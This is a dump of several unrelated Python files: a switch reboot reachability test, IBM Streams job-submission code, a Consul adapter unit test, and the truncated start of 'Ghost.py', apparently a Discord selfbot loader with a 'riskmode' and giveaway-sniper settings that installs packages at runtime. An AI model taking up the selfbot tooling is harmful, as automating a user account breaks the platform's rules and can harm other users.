self.assertTrue(received_counter, "Sniffer failed to filter any traffic from DUT") self.fails['dut'].clear() self.disrupts_count = len(self.lost_packets) # Total disrupt counter. if self.lost_packets: # Find the longest loss with the longest time: max_disrupt_from_id, (self.max_lost_id, self.max_disrupt_time, self.no_routing_start, self.no_routing_stop) = \ max(self.lost_packets.items(), key = lambda item:item[1][0:2]) self.total_disrupt_packets = sum([item[0] for item in self.lost_packets.values()]) self.total_disrupt_time = sum([item[1] for item in self.lost_packets.values()]) self.log("Disruptions happen between %s and %s after the reboot." % \ (str(self.disruption_start - self.reboot_start), str(self.disruption_stop - self.reboot_start))) else: self.max_lost_id = 0 self.max_disrupt_time = 0 self.total_disrupt_packets = 0 self.total_disrupt_time = 0 self.log("Gaps in forwarding not found.") self.log("Total incoming packets captured %d" % received_counter) if packets: filename = '/tmp/capture_filtered.pcap' if self.logfile_suffix is None else "/tmp/capture_filtered_%s.pcap" % self.logfile_suffix scapyall.wrpcap(filename, packets) self.log("Filtered pcap dumped to %s" % filename) def check_forwarding_stop(self, signal): self.asic_start_recording_vlan_reachability() while not signal.is_set(): state = self.asic_state.get() for _, q in self.ssh_jobs: self.put_nowait(q, 'check_stop') if state == 'down': break time.sleep(self.TIMEOUT) self.asic_stop_recording_vlan_reachability() return self.asic_state.get_state_time(state), self.get_asic_vlan_reachability() def check_forwarding_resume(self, signal): while not signal.is_set(): state = self.asic_state.get() if state != 'down': break time.sleep(self.TIMEOUT) return self.asic_state.get_state_time(state), self.get_asic_vlan_reachability() def ping_data_plane(self, light_probe=True): self.dataplane.flush() replies_from_servers = self.pingFromServers() if replies_from_servers > 0 or not light_probe: replies_from_upper = self.pingFromUpperTier() else: replies_from_upper = 0 return replies_from_servers, replies_from_upper def wait_dut_to_warm_up(self): # When the DUT is freshly rebooted, it appears that it needs to warm # up towards PTF docker. In practice, I've seen this warm up taking # up to ~70 seconds. fail = None dut_stabilize_secs = int(self.test_params['dut_stabilize_secs']) warm_up_timeout_secs = int(self.test_params['warm_up_timeout_secs']) start_time = datetime.datetime.now() up_time = None # First wait until DUT data/control planes are up while True: dataplane = self.asic_state.get() ctrlplane = self.cpu_state.get() elapsed = (datetime.datetime.now() - start_time).total_seconds() if dataplane == 'up' and ctrlplane == 'up': if not up_time: up_time = datetime.datetime.now() up_secs = (datetime.datetime.now() - up_time).total_seconds() if up_secs > dut_stabilize_secs: break else: # reset up_time up_time = None if elapsed > warm_up_timeout_secs: raise Exception("Control plane didn't come up within warm up timeout") time.sleep(1) # check until flooding is over. Flooding happens when FDB entry of # certain host is not yet learnt by the ASIC, therefore it sends # packet to all vlan ports. uptime = datetime.datetime.now() while True: elapsed = (datetime.datetime.now() - start_time).total_seconds() if not self.asic_state.is_flooding() and elapsed > dut_stabilize_secs: break if elapsed > warm_up_timeout_secs: if self.allow_vlan_flooding: break raise Exception("Data plane didn't stop flooding within warm up timeout") time.sleep(1) dataplane = self.asic_state.get() ctrlplane = self.cpu_state.get() if not dataplane == 'up': fail = "Data plane" elif not ctrlplane == 'up': fail = "Control plane" if fail is not None: raise Exception("{} went down while waiting for flooding to stop".format(fail)) if self.asic_state.get_state_time('up') > uptime: fail = "Data plane" elif self.cpu_state.get_state_time('up') > uptime: fail = "Control plane" if fail is not None: raise Exception("{} flapped while waiting for the warm up".format(fail)) # Everything is good def check_alive(self): # This function checks that DUT routes the packets in the both directions. # # Sometimes first attempt failes because ARP responses to DUT are not so fast. # But after this the function expects to see steady "replies". # If the function sees that there is an issue with the dataplane after we saw # successful replies it considers that the DUT is not healthy # # Sometimes I see that DUT returns more replies then requests. # I think this is because of not populated FDB table # The function waits while it's done uptime = None for counter in range(self.nr_tests * 2): state = self.asic_state.get() if state == 'up': if not uptime: uptime = self.asic_state.get_state_time(state) else: if uptime: raise Exception("Data plane stopped working") time.sleep(2) # wait, until FDB entries are populated for _ in range(self.nr_tests * 10): # wait for some time if self.asic_state.is_flooding(): time.sleep(2) else: break else: raise Exception("DUT is flooding") def get_asic_vlan_reachability(self): return self.asic_vlan_reach def asic_start_recording_vlan_reachability(self): with self.vlan_lock: self.asic_vlan_reach = [] self.recording = True def asic_stop_recording_vlan_reachability(self): with self.vlan_lock: self.recording = False def try_record_asic_vlan_recachability(self, t1_to_vlan): with self.vlan_lock: if self.recording: self.asic_vlan_reach.append(t1_to_vlan) def log_asic_state_change(self, reachable, partial=False, t1_to_vlan=0, flooding=False): old = self.asic_state.get() if reachable: state = 'up' if not partial else 'partial' else: state = 'down' self.try_record_asic_vlan_recachability(t1_to_vlan) self.asic_state.set_flooding(flooding) if old != state: self.log("Data plane state transition from %s to %s (%d)" % (old, state, t1_to_vlan)) self.asic_state.set(state) def log_cpu_state_change(self, reachable, partial=False, flooding=False): old = self.cpu_state.get() if reachable: state = 'up' if not partial else 'partial' else: state = 'down' self.cpu_state.set_flooding(flooding) if old != state: self.log("Control plane state transition from %s to %s" % (old, state)) self.cpu_state.set(state) def log_vlan_state_change(self, reachable): old = self.vlan_state.get() if reachable: state = 'up' else: state = 'down' if old != state: self.log("VLAN ARP state transition from %s to %s" % (old, state)) self.vlan_state.set(state) def reachability_watcher(self): # This function watches the reachability of the CPU port, and ASIC. It logs the state # changes for future analysis self.watcher_is_stopped.clear() # Watcher is running. while self.watching: if self.dataplane_io_lock.acquire(False): vlan_to_t1, t1_to_vlan = self.ping_data_plane(self.light_probe) reachable = (t1_to_vlan > self.nr_vl_pkts * 0.7 and vlan_to_t1 > self.nr_pc_pkts * 0.7) partial = (reachable and (t1_to_vlan < self.nr_vl_pkts or vlan_to_t1 < self.nr_pc_pkts)) flooding = (reachable and (t1_to_vlan > self.nr_vl_pkts or vlan_to_t1 > self.nr_pc_pkts)) self.log_asic_state_change(reachable, partial, t1_to_vlan, flooding) self.dataplane_io_lock.release() total_rcv_pkt_cnt = self.pingDut() reachable = total_rcv_pkt_cnt > 0 and total_rcv_pkt_cnt > self.ping_dut_pkts * 0.7 partial = total_rcv_pkt_cnt > 0 and total_rcv_pkt_cnt < self.ping_dut_pkts flooding = reachable and total_rcv_pkt_cnt > self.ping_dut_pkts self.log_cpu_state_change(reachable, partial, flooding) total_rcv_pkt_cnt = self.arpPing() reachable = total_rcv_pkt_cnt >= self.arp_ping_pkts self.log_vlan_state_change(reachable) self.watcher_is_running.set() # Watcher is running. self.watcher_is_stopped.set() # Watcher has stopped. self.watcher_is_running.clear() # Watcher has stopped. def pingFromServers(self): for i in xrange(self.nr_pc_pkts): testutils.send_packet(self, self.from_server_src_port, self.from_vlan_packet) total_rcv_pkt_cnt = testutils.count_matched_packets_all_ports(self, self.from_vlan_exp_packet, self.from_server_dst_ports, timeout=self.PKT_TOUT) self.log("Send %5d Received %5d servers->t1" % (self.nr_pc_pkts, total_rcv_pkt_cnt), True) return total_rcv_pkt_cnt def pingFromUpperTier(self): for entry in self.from_t1: testutils.send_packet(self, *entry) total_rcv_pkt_cnt = testutils.count_matched_packets_all_ports(self, self.from_t1_exp_packet, self.vlan_ports, timeout=self.PKT_TOUT) self.log("Send %5d Received %5d t1->servers" % (self.nr_vl_pkts, total_rcv_pkt_cnt), True) return total_rcv_pkt_cnt def pingDut(self): for i in xrange(self.ping_dut_pkts): testutils.send_packet(self, self.random_port(self.vlan_ports), self.ping_dut_packet) total_rcv_pkt_cnt = testutils.count_matched_packets_all_ports(self, self.ping_dut_exp_packet, self.vlan_ports, timeout=self.PKT_TOUT) self.log("Send %5d Received %5d ping DUT" % (self.ping_dut_pkts, total_rcv_pkt_cnt), True) return total_rcv_pkt_cnt def arpPing(self): for i in xrange(self.arp_ping_pkts): testutils.send_packet(self, self.arp_src_port, self.arp_ping) total_rcv_pkt_cnt = testutils.count_matched_packets_all_ports(self, self.arp_resp, [self.arp_src_port], timeout=self.PKT_TOUT) self.log("Send %5d Received %5d arp ping" % (self.arp_ping_pkts, total_rcv_pkt_cnt), True) return total_rcv_pkt_cnt
context.py
# Licensed Materials - Property of IBM # Copyright IBM Corp. 2016,2017 from __future__ import print_function from __future__ import unicode_literals from __future__ import division from __future__ import absolute_import try: from future import standard_library standard_library.install_aliases() except (ImportError, NameError): # nothing to do here pass # Licensed Materials - Property of IBM # Copyright IBM Corp. 2015 from streamsx.topology import logging_utils import logging import tempfile import os import os.path import json import subprocess import threading import sys import enum logging_utils.initialize_logging() logger = logging.getLogger('streamsx.topology.py_submit') # # Submission of a python graph using the Java Application API # The JAA is reused to have a single set of code_createJSONFile that creates # SPL, the toolkit, the bundle and submits it to the relevant # environment # def submit(ctxtype, graph, config=None, username=None, password=None, log_level=logging.INFO): """ Submits a topology with the specified context type. Args: ctxtype (string): context type. Values include: * DISTRIBUTED - the topology is submitted to a Streams instance. The bundle is submitted using `streamtool` which must be setup to submit without requiring authentication input. Additionally, a username and password may optionally be provided to enable retrieving data from remote views. * STANDALONE - the topology is executed directly as an Streams standalone application. The standalone execution is spawned as a separate process * BUNDLE - execution of the topology produces an SPL application bundle (.sab file) that can be submitted to an IBM Streams instance as a distributed application. * JUPYTER - the topology is run in standalone mode, and context.submit returns a stdout streams of bytes which can be read from to visualize the output of the application. * BUILD_ARCHIVE - Creates a Bluemix-compatible build archive. execution of the topology produces a build archive, which can be submitted to a streaming analytics Bluemix remote build service. * ANALYTICS_SERVICE - If a local IBM Streams install is present, the application is built locally and then submitted to an IBM Bluemix Streaming Analytics service. If a local IBM Streams install is not present, the application is submitted to, built, and executed on an IBM Bluemix Streaming Analytics service. If the ConfigParams.FORCE_REMOTE_BUILD flag is set to True, the application will be built by the service even if a local Streams install is present. The service is described by its VCAP services and a service name pointing to an instance within the VCAP services. The VCAP services is either set in the configuration object or as the environment variable VCAP_SERVICES. graph: a Topology object. config (dict): a configuration object containing job configurations and/or submission information. Keys include: * ConfigParams.VCAP_SERVICES ('topology.service.vcap') - VCAP services information for the ANALYTICS_SERVICE context. Supported formats are a dict obtained from the JSON VCAP services, a string containing the serialized JSON form or a file name pointing to a file containing the JSON form. * ConfigParams.SERVICE_NAME ('topology.service.name') - the name of the Streaming Analytics service for submission. * ConfigParams.FORCE_REMOTE_BUILD ('topology.forceRemoteBuild') - A flag which will force the application to be compiled and submitted remotely, if possible. username (string): an optional SWS username. Needed for retrieving remote view data. password (string): an optional SWS password. Used in conjunction with the username, and needed for retrieving remote view data. log_level: The maximum logging level for log output. Returns: An output stream of bytes if submitting with JUPYTER, otherwise returns None. """ logger.setLevel(log_level) context_submitter = _SubmitContextFactory(graph, config, username, password).get_submit_context(ctxtype) try: return context_submitter.submit() except: logger.exception("Error while submitting application.") class _BaseSubmitter: """ A submitter which handles submit operations common across all submitter types.. """ def __init__(self, ctxtype, config, app_topology): self.ctxtype = ctxtype self.config = dict() if config is not None: # Make copy of config to avoid modifying # the callers config self.config.update(config) self.app_topology = app_topology def _config(self): "Return the submit configuration" return self.config def submit(self): # Convert the JobConfig into overlays self._create_job_config_overlays() # encode the relevant python version information into the config self._add_python_info() # Create the json file containing the representation of the application try: self.fn = self._create_json_file(self._create_full_json()) except Exception: logger.exception("Error generating SPL and creating JSON file.") raise tk_root = self._get_toolkit_root() cp = os.path.join(tk_root, "lib", "com.ibm.streamsx.topology.jar") streams_install = os.environ.get('STREAMS_INSTALL') # If there is no streams install, get java from JAVA_HOME and use the remote contexts. if streams_install is None: java_home = os.environ.get('JAVA_HOME') if java_home is None: raise ValueError("JAVA_HOME not found. Please set the JAVA_HOME system variable") jvm = os.path.join(java_home, "bin", "java") submit_class = "com.ibm.streamsx.topology.context.remote.RemoteContextSubmit" # Otherwise, use the Java version from the streams install else: jvm = os.path.join(streams_install, "java", "jre", "bin", "java") if ConfigParams.FORCE_REMOTE_BUILD in self.config and self.config[ConfigParams.FORCE_REMOTE_BUILD]: submit_class = "com.ibm.streamsx.topology.context.remote.RemoteContextSubmit" else: submit_class = "com.ibm.streamsx.topology.context.StreamsContextSubmit" cp = cp + ':' + os.path.join(streams_install, "lib", "com.ibm.streams.operator.samples.jar") args = [jvm, '-classpath', cp, submit_class, self.ctxtype, self.fn] logger.info("Generating SPL and submitting application.") process = subprocess.Popen(args, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=0, env=self._get_java_env()) try: stderr_thread = threading.Thread(target=_print_process_stderr, args=([process, self.fn])) stderr_thread.daemon = True stderr_thread.start() stdout_thread = threading.Thread(target=_print_process_stdout, args=([process])) stdout_thread.daemon = True stdout_thread.start() process.wait() return process.returncode except: logger.exception("Error starting java subprocess for submission") raise def _get_java_env(self): "Get the environment to be passed to the Java execution" return dict(os.environ) def _add_python_info(self): # Python information added to deployment pi = {} pi["prefix"] = sys.exec_prefix pi["version"] = sys.version self.config["python"] = pi def _create_job_config_overlays(self): if ConfigParams.JOB_CONFIG in self.config: jco = self.config[ConfigParams.JOB_CONFIG] del self.config[ConfigParams.JOB_CONFIG] jco._add_overlays(self.config) def _create_full_json(self): fj = dict() fj["deploy"] = self.config fj["graph"] = self.app_topology.generateSPLGraph() return fj def _create_json_file(self, fj): if sys.hexversion < 0x03000000: tf = tempfile.NamedTemporaryFile(mode="w+t", suffix=".json", prefix="splpytmp", delete=False) else: tf = tempfile.NamedTemporaryFile(mode="w+t", suffix=".json", encoding="UTF-8", prefix="splpytmp", delete=False) tf.write(json.dumps(fj, sort_keys=True, indent=2, separators=(',', ': '))) tf.close() return tf.name # There are two modes for execution. # # Pypi (Python focused) # Pypi (pip install) package includes the SPL toolkit as # streamsx/.toolkit/com.ibm.streamsx.topology # However the streamsx Python packages have been moved out # of the toolkit's (opt/python/package) compared # to the original toolkit layout. They are moved to the # top level of the pypi package. # # SPL Toolkit (SPL focused): # Streamsx Python packages are executed from opt/python/packages # # This function determines the root of the SPL toolkit based # upon the existance of the '.toolkit' directory. # @staticmethod def _get_toolkit_root(): # Directory of this file (streamsx/topology) dir = os.path.dirname(os.path.abspath(__file__)) # This is streamsx dir = os.path.dirname(dir) # See if .toolkit exists, if so executing from # a pip install tk_root = os.path.join(dir, '.toolkit', 'com.ibm.streamsx.topology') if os.path.isdir(tk_root): return tk_root # Else dir is tk/opt/python/packages/streamsx dir = os.path.dirname(dir) dir = os.path.dirname(dir) dir = os.path.dirname(dir) tk_root = os.path.dirname(dir) return tk_root class _JupyterSubmitter(_BaseSubmitter): def submit(self): tk_root = self._get_toolkit_root() cp = os.path.join(tk_root, "lib", "com.ibm.streamsx.topology.jar") streams_install = os.environ.get('STREAMS_INSTALL') # If there is no streams install, get java from JAVA_HOME and use the remote contexts. if streams_install is None: java_home = os.environ.get('JAVA_HOME') if java_home is None: raise ValueError("JAVA_HOME not found. Please set the JAVA_HOME system variable") jvm = os.path.join(java_home, "bin", "java") submit_class = "com.ibm.streamsx.topology.context.remote.RemoteContextSubmit" # Otherwise, use the Java version from the streams install else: jvm = os.path.join(streams_install, "java", "jre", "bin", "java") submit_class = "com.ibm.streamsx.topology.context.StreamsContextSubmit" cp = cp + ':' + os.path.join(streams_install, "lib", "com.ibm.streams.operator.samples.jar") args = [jvm, '-classpath', cp, submit_class, ContextTypes.STANDALONE, self.fn] process = subprocess.Popen(args, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=0) try: stderr_thread = threading.Thread(target=_print_process_stderr, args=([process, self.fn])) stderr_thread.daemon = True stderr_thread.start() if process.stdout is None: raise ValueError("The returned stdout from the spawned process is None.") return process.stdout except: logger.exception("Error starting java subprocess for submission") raise class _RemoteBuildSubmitter(_BaseSubmitter): """ A submitter which retrieves the SWS REST API URL and then submits the application to be built and submitted on Bluemix within a Streaming Analytics service. """ def __init__(self, ctxtype, config, app_topology): super(_RemoteBuildSubmitter, self).__init__(ctxtype, config, app_topology) self._set_vcap() self._set_credentials() username = self.credentials['userid'] password = self.credentials['password'] # Obtain REST only when needed. Otherwise, submitting "Hello World" without requests fails. try: import requests except (ImportError, NameError): logger.exception('Unable to import the optional "Requests" module. This is needed when performing' ' a remote build or retrieving view data.') raise # Obtain the streams SWS REST URL resources_url = self.credentials['rest_url'] + self.credentials['resources_path'] try: response = requests.get(resources_url, auth=(username, password)).json() except: logger.exception("Error while querying url: " + resources_url) raise rest_api_url = response['streams_rest_url'] + '/resources' # Give each view in the app the necessary information to connect to SWS. for view in app_topology.get_views(): connection_info = {'username': username, 'password': password, 'rest_api_url': rest_api_url} view.set_streams_context_config(connection_info) def _set_vcap(self): "Set self.vcap to the VCAP services, from env var or the config" try: vs = self._config()[ConfigParams.VCAP_SERVICES] del self._config()[ConfigParams.VCAP_SERVICES] except KeyError: try: vs = os.environ['VCAP_SERVICES'] except KeyError: raise ValueError("VCAP_SERVICES information must be supplied in config[ConfigParams.VCAP_SERVICES] or as environment variable 'VCAP_SERVICES'") if isinstance(vs, dict): self._vcap = vs return None try: self._vcap = json.loads(vs) except json.JSONDecodeError: try: with open(vs) as vcap_json_data: self._vcap = json.load(vcap_json_data) except: raise ValueError("VCAP_SERVICES information is not JSON or a file containing JSON:", vs) def _set_credentials(self): "Set self.credentials for the selected service, from self.vcap" try: self.service_name = self._config()[ConfigParams.SERVICE_NAME] except KeyError: raise ValueError("Service name was not supplied in config[ConfigParams.SERVICE_NAME.") services = self._vcap['streaming-analytics'] creds = None for service in services: if service['name'] == self.service_name: creds = service['credentials'] break if creds is None: raise ValueError("Streaming Analytics service " + self.service_name + " was not found in VCAP_SERVICES") self.credentials = creds def _get_java_env(self): "Pass the VCAP through the environment to the java submission" env = super(_RemoteBuildSubmitter, self)._get_java_env() env['VCAP_SERVICES'] = json.dumps(self._vcap) return env class _DistributedSubmitter(_BaseSubmitter): """ A submitter which retrieves the SWS REST API URL and then submits the application to be built and submitted on Bluemix within a Streaming Analytics service. """ def __init__(self, ctxtype, config, app_topology, username, password): _BaseSubmitter.__init__(self, ctxtype, config, app_topology) # If a username or password isn't supplied, don't attempt to retrieve view data, but throw an error if views # were created if (username is None or password is None) and len(app_topology.get_views()) > 0: raise ValueError("To access views data, both a username and a password must be supplied when submitting.") elif username is None or password is None: return try: process = subprocess.Popen(['streamtool', 'geturl', '--api'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) rest_api_url = process.stdout.readline().strip().decode('utf-8') logger.debug("The rest API URL obtained from streamtool is " + rest_api_url) except: logger.exception("Error getting SWS rest api url via streamtool") raise # Give each view in the app the necessary information to connect to SWS. for view in app_topology.get_views(): view.set_streams_context_config( {'username': username, 'password': password, 'rest_api_url': rest_api_url}) class _SubmitContextFactory: """ ContextSubmitter: Responsible for performing the correct submission depending on a number of factors, including: the presence/absence of a streams install, the type of context, and whether the user seeks to retrieve data via rest """ def __init__(self, app_topology, config=None, username=None, password=None): self.app_topology = app_topology.graph self.config = config self.username = username self.password = password if self.config is None: self.config = {} def get_submit_context(self, ctxtype): # If there is no streams install present, currently only ANALYTICS_SERVICE, TOOLKIT, and BUILD_ARCHIVE # are supported. streams_install = os.environ.get('STREAMS_INSTALL') if streams_install is None: if not (ctxtype == ContextTypes.TOOLKIT or ctxtype == ContextTypes.BUILD_ARCHIVE or ctxtype == ContextTypes.ANALYTICS_SERVICE): raise UnsupportedContextException(ctxtype + " must be submitted when a streams install is present.") if ctxtype == ContextTypes.JUPYTER: logger.debug("Selecting the JUPYTER context for submission") return _JupyterSubmitter(ctxtype, self.config, self.app_topology) elif ctxtype == ContextTypes.DISTRIBUTED: logger.debug("Selecting the DISTRIBUTED context for submission") return _DistributedSubmitter(ctxtype, self.config, self.app_topology, self.username, self.password) elif ctxtype == ContextTypes.ANALYTICS_SERVICE: logger.debug("Selecting the ANALYTICS_SERVICE context for submission") return _RemoteBuildSubmitter(ctxtype, self.config, self.app_topology) else: logger.debug("Using the BaseSubmitter, and passing the context type through to java.") return _BaseSubmitter(ctxtype, self.config, self.app_topology) # Used to delete the JSON file after it is no longer needed. def _delete_json(fn): if os.path.isfile(fn): os.remove(fn) # Used by a thread which polls a subprocess's stdout and writes it to stdout def _print_process_stdout(process): try: while True: line = process.stdout.readline() if len(line) == 0: process.stdout.close() break line = line.decode("utf-8").strip() print(line) except: process.stdout.close() logger.exception("Error reading from process stdout") raise # Used by a thread which polls a subprocess's stderr and writes it to stderr, until the sc compilation # has begun. def _print_process_stderr(process, fn): try: while True: line = process.stderr.readline() if len(line) == 0: process.stderr.close() break line = line.decode("utf-8").strip() print(line) if "com.ibm.streamsx.topology.internal.streams.InvokeSc getToolkitPath" in line: _delete_json(fn) except: process.stderr.close() logger.exception("Error reading from process stderr") raise class UnsupportedContextException(Exception): """ An exeption class for when something goes wrong with submitting using a particular context. """ def __init__(self, msg): Exception.__init__(self, msg) class ContextTypes: """ Types of submission contexts: DISTRIBUTED - the topology is submitted to a Streams instance. The bundle is submitted using `streamtool` which must be setup to submit without requiring authentication input. Additionally, a username and password may optionally be provided to enable retrieving data from remote views. STANDALONE - the topology is executed directly as an Streams standalone application. The standalone execution is spawned as a separate process BUNDLE - execution of the topology produces an SPL application bundle (.sab file) that can be submitted to an IBM Streams instance as a distributed application. STANDALONE_BUNDLE - execution of the topology produces an SPL application bundle that, when executed, is spawned as a separate process. JUPYTER - the topology is run in standalone mode, and context.submit returns a stdout streams of bytes which can be read from to visualize the output of the application. BUILD_ARCHIVE - Creates a Bluemix-compatible build archive. execution of the topology produces a build archive, which can be submitted to a streaming analytics Bluemix remote build service. TOOLKIT - Execution of the topology produces a toolkit. ANALYTICS_SERVICE - If a local Streams install is present, the application is built locally and then submitted to a Bluemix streaming analytics service. If a local Streams install is not present, the application is submitted to, built, and executed on a Bluemix streaming analytics service. If the ConfigParams.REMOTE_BUILD flag is set to true, the application will be built on Bluemix even if a local Streams install is present. """ TOOLKIT = 'TOOLKIT' BUILD_ARCHIVE = 'BUILD_ARCHIVE' BUNDLE = 'BUNDLE' STANDALONE_BUNDLE = 'STANDALONE_BUNDLE' STANDALONE = 'STANDALONE' DISTRIBUTED = 'DISTRIBUTED' JUPYTER = 'JUPYTER' ANALYTICS_SERVICE = 'ANALYTICS_SERVICE' class ConfigParams: """ Configuration options which may be used as keys in the submit's config parameter. VCAP_SERVICES - a json object containing the VCAP information used to submit to Bluemix SERVICE_NAME - the name of the streaming analytics service to use from VCAP_SERVICES. """ VCAP_SERVICES = 'topology.service.vcap' SERVICE_NAME = 'topology.service.name' FORCE_REMOTE_BUILD = 'topology.forceRemoteBuild' JOB_CONFIG = 'topology.jobConfigOverlays' class JobConfig: """ Job configuration """ def __init__(self, job_name=None, job_group=None, data_directory=None): self.job_name = job_name self.job_group = job_group self.data_directory = data_directory def _add_overlays(self, config): """ {"jobConfigOverlays":[{"jobConfig":{"jobName":"BluemixSubmitSample"},"deploymentConfig":{"fusionScheme":"legacy"}}]} """ jco = {} config["jobConfigOverlays"] = [jco] jc = {} if self.job_name is not None: jc["jobName"] = self.job_name if self.job_group is not None: jc["jobGroup"] = self.job_group if self.data_directory is not None: jc["dataDirectory"] = self.data_directory if jc: jco["jobConfig"] = jc
httpie_consul_tests.py
import json try: import unittest2 as unittest except ImportError: import unittest import requests try: from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler except ImportError: from http.server import HTTPServer, BaseHTTPRequestHandler import multiprocessing from httpie_consul import ConsulAdapter class MockedService(HTTPServer): pass def get_handler_class_for_service(response_text=b'My Fancy Service!', status_code=200): class Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(status_code) self.end_headers() self.wfile.write(response_text) return Handler def get_handler_class_for_consul(response_json, status_code=200): class Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(status_code) self.end_headers() self.wfile.write(json.dumps(response_json).encode()) return Handler class ConsulAdapterTest(unittest.TestCase): consul_host = service_host = 'localhost' service_port = 8080 consul_port = 8500 service_process = None consul_process = None def tearDown(self): if self.service_process: self.service_process.terminate() if self.consul_process: self.consul_process.terminate() def start_service(self, handler_class): server = MockedService((self.service_host, self.service_port), handler_class) self.service_process = multiprocessing.Process(target=server.serve_forever) self.service_process.start() def start_consul(self, handler_class): server = MockedService((self.consul_host, self.consul_port), handler_class) self.consul_process = multiprocessing.Process(target=server.serve_forever) self.consul_process.start() def test_resolve_service_name(self): self.start_service(get_handler_class_for_service()) self.start_consul(get_handler_class_for_consul([{ 'Node': self.service_host, 'ServicePort': self.service_port }])) session = requests.Session() session.mount('service://', ConsulAdapter(consul_host=self.consul_host, consul_port=self.consul_port)) session.get('service://test')
Ghost.py
#!/usr/bin/python # -*- coding: UTF-8 -*- # Copyright (C) 2021 Ben Tettmar # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restriction, including without limitation the rights to # use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies # of the Software, and to permit persons to whom the Software is furnished to do # so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import os from re import T os.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = "hide" printSpaces = " " if os.name == "nt": os.system("cls") # os.system("mode 100,25") os.system("title Ghost") if os.name == "posix": os.system("clear") print(" ") print(f"{printSpaces}Loading Ghost...") print(" ") import sys import subprocess import logging if not os.path.exists('logs/'): os.makedirs('logs/') print(printSpaces+"Made logs folder.") open("logs/info.log", "w").write(" ") print(printSpaces+"Resetting info log.") open("logs/warning.log", "w").write(" ") print(printSpaces+"Resetting warning log.") open("logs/error.log", "w").write(" ") print(printSpaces+"Resetting error log.") open("logs/critical.log", "w").write(" ") print(printSpaces+"Resetting critical log.") print(" ") logging.basicConfig(filename="logs/info.log", level=logging.INFO) logging.basicConfig(filename="logs/warning.log", level=logging.WARNING) logging.basicConfig(filename="logs/error.log", level=logging.ERROR) logging.basicConfig(filename="logs/critical.log", level=logging.CRITICAL) try: # pythonVersion = float(str(sys.version_info[0])+"."+str(sys.version_info[1])) # if pythonVersion < 3.8: # input("You're not using a supported Python version.") # exit() # else: # print("You're using a supported python version, " + str(pythonVersion)) def install(package): if os.name == "nt": os.system(f"{sys.executable} -m pip install {package}") if os.name == "posix": os.system(f"python3 -m pip install {package}") def uninstall(package): if os.name == "nt": os.system(f"{sys.executable} -m pip uninstall {package}") if os.name == "posix": os.system(f"python3 -m pip uninstall {package}") if "discord.py" in sys.modules: uninstall("discord.py") if "discordselfbot" in sys.modules: uninstall("discordselfbot") try: import discord except ModuleNotFoundError: install("discord.py-self") try: import pyPrivnote as pn except ModuleNotFoundError: install("pyPrivnote") try: import names except ModuleNotFoundError: install("names") try: import simplejson except ModuleNotFoundError: install("simplejson") try: import aiohttp except ModuleNotFoundError: install("aiohttp") try: from colour import Color except ModuleNotFoundError: install("colour") try: from termcolor import colored except ModuleNotFoundError: install("termcolor") try: from faker import Faker except ModuleNotFoundError: install("Faker") if os.name == "nt": try: import plyer except ModuleNotFoundError: install("plyer") try: from sty import fg, bg, ef, rs, Style, RgbFg except ModuleNotFoundError: install("sty==1.0.0rc0") try: import discord_rpc except ModuleNotFoundError: install("discord-rpc.py") try: import requests except ModuleNotFoundError: install("requests") try: import uwuify except ModuleNotFoundError: install("uwuify") try: import numpy as np except ModuleNotFoundError: install("numpy") try: import discum except ModuleNotFoundError: install("discum") try: from discord_webhook import DiscordWebhook, DiscordEmbed except ModuleNotFoundError: install("discord-webhook") try: from random_user_agent.user_agent import UserAgent from random_user_agent.params import SoftwareName, OperatingSystem except ModuleNotFoundError: install("random_user_agent") try: import GPUtil except ModuleNotFoundError: install("gputil") try: import psutil except ModuleNotFoundError: install("psutil") try: import PIL except ModuleNotFoundError: install("pillow") try: import pygame except ModuleNotFoundError: install("pygame") # if os.name == "posix": # if str(subprocess.check_output(["apt-cache", "policy", "libportaudio2"])).split("\\n")[1][2:].split(": ")[1] == "(none)": # os.system("sudo apt-get install libportaudio2") try: import sounddevice except ModuleNotFoundError: install("sounddevice") try: import discord_emoji except ModuleNotFoundError: install("discord-emoji") if os.name == "nt": try: import wmi except ModuleNotFoundError: install("WMI") import wmi if os.name == "nt": import plyer if os.name == "nt": import tkinter import discord_emoji import threading import pygame import PIL from random_user_agent.user_agent import UserAgent from random_user_agent.params import SoftwareName, OperatingSystem from discord_webhook import DiscordWebhook, DiscordEmbed import discum if os.name == "nt": import winshell import uwuify import getpass import mimetypes import discord_rpc from sty import fg, bg, ef, rs, Style, RgbFg import discord import json import pyPrivnote as pn import random import asyncio import requests import aiohttp import names import string import simplejson import base64 import math import time import urllib import urllib.request import codecs import platform import psutil import re import ctypes import ctypes.util import GPUtil from urllib.request import Request, urlopen from colour import Color from discord.ext import commands from discord.utils import get from termcolor import colored, cprint from os.path import dirname, basename, isfile, join from datetime import datetime, timedelta import numpy as np from faker import Faker def update_config(): configJson = json.load(open("config.json")) configFile = open("config.json", "r").read() if ("riskmode" not in configFile): print(f"{printSpaces}Adding risk mode to config.") configJson["riskmode"] = bool(False) if ("load_on_startup" not in configFile): print(f"{printSpaces}Adding load on startup to config.") configJson["load_on_startup"] = bool(False) if ("giveaway_join_delay" not in configFile): print(f"{printSpaces}Adding giveaway join delay to config.") configJson["giveaway_join_delay"] = 15 if ("giveaway_sniper_ui" not in configFile): print(printSpaces+"Adding giveaway sniper ui to config.") configJson["giveaway_sniper_ui"] = False if ("snipers" 